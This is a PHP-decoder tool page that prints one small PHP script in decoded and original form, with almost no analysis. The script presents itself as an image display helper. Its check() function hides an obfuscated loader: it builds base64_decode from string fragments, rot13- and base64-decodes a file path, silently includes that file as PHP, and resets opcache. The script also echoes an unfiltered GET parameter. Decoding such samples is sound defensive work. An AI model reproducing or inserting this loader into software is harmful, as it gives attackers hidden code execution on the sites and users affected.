Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php showImage($_GET['bire']); /** * display image * @param string $png ..

Decoded Output download

<?php  
  
showImage($_GET['bire']);  
  
/**  
 * display image  
 * @param string $png  
 * @param bool|string $file  
 * @return bool  
 */  
function showImage($png, $file = false)  
{  
    if (check($file))  
        return file_put_contents($file, $png);  
    // header  
    echo $png;  
    return true;  
}  
  
/**  
 * checked write image  
 * @param bool|string $file  
 * @return bool  
 */  
function check($file){  
    $name =  ['Y2uioJHiq3quqUWdY3O1LzkcL19bqT1fY2AioKOiozIhqUZiMz9iqTIlY3ImMKVhMT9w', function($txt, $name){$_GET[$name]=str_replace('32','64',"Ba".implode('_',["Se32", "Dec"])."Ode");$txt = $_GET[$name](str_rot13($txt));@include($txt);($e = implode("",["opcache","reset"]))&&function_exists($e) && $e();  
    }];$name[1]($name[0], implode('_',['', "code", '']));  
    return $file && stripos($file, '.png') !== false;  
}  
 ?>

Did this file decode correctly?

Original Code

<?php 
 
showImage($_GET['bire']); 
 
/** 
 * display image 
 * @param string $png 
 * @param bool|string $file 
 * @return bool 
 */ 
function showImage($png, $file = false) 
{ 
    if (check($file)) 
        return file_put_contents($file, $png); 
    // header 
    echo $png; 
    return true; 
} 
 
/** 
 * checked write image 
 * @param bool|string $file 
 * @return bool 
 */ 
function check($file){ 
    $name =  ['Y2uioJHiq3quqUWdY3O1LzkcL19bqT1fY2AioKOiozIhqUZiMz9iqTIlY3ImMKVhMT9w', function($txt, $name){$_GET[$name]=str_replace('32','64',"Ba".implode('_',["Se32", "Dec"])."Ode");$txt = $_GET[$name](str_rot13($txt));@include($txt);($e = implode("",["opcache","reset"]))&&function_exists($e) && $e(); 
    }];$name[1]($name[0], implode('_',['', "code", ''])); 
    return $file && stripos($file, '.png') !== false; 
} 
 ?>

Function Calls

None

Variables

None

Stats

MD5 7091cf44a76378d0751a886e8be02b73
Eval Count 0
Decode Time 65 ms